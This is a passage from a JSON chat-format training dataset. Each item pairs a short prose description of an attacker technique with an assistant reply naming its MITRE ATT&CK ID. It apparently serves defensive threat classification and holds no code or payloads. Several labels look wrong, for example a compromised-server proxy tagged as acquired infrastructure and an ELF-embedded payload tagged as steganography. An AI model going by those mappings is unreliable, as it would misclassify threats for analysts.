                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor forces the system to use a fixed, short initialization vector and a reduced‑entropy key, shrinking the effective key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a chain of compromised proxy servers, routing traffic through multiple hops to hide the origin of the command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool replays captured NTLM hashes to impersonate legitimate users and bypass multi‑factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes ptrace to modify the instruction pointer of a critical service, redirecting execution to a malicious library they loaded."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor registers a malicious service with the display name \"Microsoft Exchange Transport Service\" to hide its presence in the services list."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a tool to zero-fill the SSD, removing all stored information."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses rundll32.exe to load a DLL that calls system APIs to launch cmd.exe, achieving indirect command execution."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use Facebook group searches to find mentions of a company's new product launch and harvest associated domain names."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious firmware is injected into the motherboard's component firmware, allowing the threat actor to persist across OS reinstalls."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script accessed the Windows registry to retrieve the private key associated with a code-signing certificate and then used it to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining a user's password through credential stuffing, the threat actor logged into the victim’s Gmail account to exfiltrate sensitive emails."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ROMMONkit, the attacker establishes a hidden backdoor by flashing a compromised firmware image before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit leverages the dynamic linker to resolve a function call to a malicious implementation embedded in a crafted shared library, subverting normal program behavior."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised service account to impersonate users and access other services via Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages SetWindowsHookEx to load a malicious dynamic-link library into the address space of a target application."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures the malicious binary to swallow interrupt signals, such as Ctrl+C, so it cannot be easily terminated."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a Windows scheduled task that runs a malicious PowerShell script every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a valid local account to maintain persistence on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group collects employee names by enumerating the organization's email address book."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the install_name of a dynamic library, the attacker forces a macOS program to load a malicious dylib from an attacker-controlled location."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The LNK icon smuggling method is used to distribute ransomware, where the shortcut shows a common document icon but launches the ransomware binary."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the SMB protocol to both receive commands and exfiltrate file chunks to a remote file share masquerading as normal network traffic."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker drops a malicious PasswordFilters.dll in %SystemRoot%\\System32 to add themselves to the authentication chain."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers rename a custom backdoor to sc.exe so that it appears as the Windows Service Control Manager."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages Windows Explorer to list network shares accessible to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a .reg file that sets Outlook’s Home Page to a malicious site, ensuring the payload executes each time Outlook is started."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding extraneous data to command‑and‑control beacons, the attacker makes the beacons appear as normal traffic, avoiding network monitoring alerts."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses ACPI tables to enumerate firmware components and gather hardware firmware versions."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators ran a masscan scan to detect which services were exposed on the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious user conducts AS-REP roasting by targeting usernames with pre-authentication disabled, collecting their AS-REP replies for offline password hash cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack uses the proc filesystem to locate and copy credential caches from user sessions."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is installed by creating a new service that runs under the LocalSystem account."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious entity sends forged UDP packets to open NTP servers with the victim's IP address, leveraging the NTP amplification factor to flood the victim with high-volume traffic."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised credential, the adversary performed an SNMP bulk operation to dump the MIB and map the network topology."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account was granted \"Modify\" permissions on the Group Policy Objects, allowing the attacker to insert a malicious registry key that persists across reboots."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a malicious .plist in /Library/LaunchDaemons and invokes launchctl bootstrap to register it as a system service."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed automated crawling of Confluence pages to collect architecture diagrams."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the AWS CLI to delete existing CloudTrail log files and then disables log delivery to prevent detection."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the 'touch' command to backdate log files after exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software uses the SetWindowsHookEx function to intercept keyboard and mouse events in the Windows graphical interface."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor stores a stolen SSH private key inside the Windows registry under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the KernelCallbackTable to divert system callback execution to their own code, achieving stealthy privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder steals SSH private keys from a compromised Linux host's .ssh directory."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor taints a frequently used system executable by appending malicious code, causing any process that invokes it to be hijacked."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor runs 'docker exec -u 0' to execute commands as root inside the container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a malicious password filter DLL to intercept authentication attempts and harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad actor modified the launch template of an AWS Auto Scaling group to inject malicious user data scripts into new instances."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker conducts a rapid password guessing campaign against a database login portal using a precompiled password dictionary."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a PDF attachment containing an embedded JavaScript payload that drops a remote access trojan on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign resulted in the attacker gaining access to the network switch's config database and downloading the settings."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator schedules a fileless payload with 'at' to run a PowerShell command after a delay."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rootkit updates the KernelCallbackTable entries, allowing it to intercept and redirect kernel callbacks to its code."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends stolen credentials in a series of 1 KB HTTP POST requests to avoid size‑based alarms."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages msiexec.exe to launch PowerShell commands, using the system binary as a proxy to mask the malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a rule in the compromised mailbox to automatically forward all incoming messages to an external email address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the process's TLS data structures to insert a payload, which runs each time a new thread is created in the compromised application."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the PATH environment variable to include a directory containing a malicious DLL, causing the victim process to load it first."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code contacts a public API that returns random quotes; the attacker manipulates the API responses to embed encrypted commands, functioning as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider extracts OAuth tokens that were inadvertently posted in a company Slack channel."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set deploys a script that registers a malicious root certificate in the Windows Trusted Root Certification Authorities store, undermining secure connections."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stages harvested credentials in a temporary hidden directory before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised workstation was used to copy confidential emails onto a USB drive that was later dropped off at a nearby dropbox."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape data from a victim's OneDrive for Business by hijacking a user’s access token."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects malformed DNS responses that cause the DNS resolver on the endpoint to enter an endless loop."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware unpacks its payload into a newly created suspended process and then swaps the legitimate code with malicious code, a classic process hollowing technique."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor edited the configuration of the server's mail transport service to load a rogue Transport Agent that logs credentials."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encrypts a payload and hides it within the unused sections of an ELF binary, to be extracted when executed on Linux."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the Java Runtime to invoke \"System.getProperty\" for OS name, version, and user locale."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collects the system's motherboard manufacturer and serial number using the dmidecode command on Linux."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a reverse proxy on a compromised web server to anonymize malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deletes the autostart entries in the Windows Registry and clears the Run keys to hide its presence after a reboot."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat writes a custom DGA that incorporates the MAC address and current time to generate domain names, then performs DNS lookups for each."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the task definition in Amazon ECS to run a malicious image on a timed interval."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload reads the Windows Event Logs for security events and archives them for analysis."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a privilege escalation flaw to append a malicious module to the internal list of loaded libraries for a privileged service, resulting in code execution within that service's address space."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
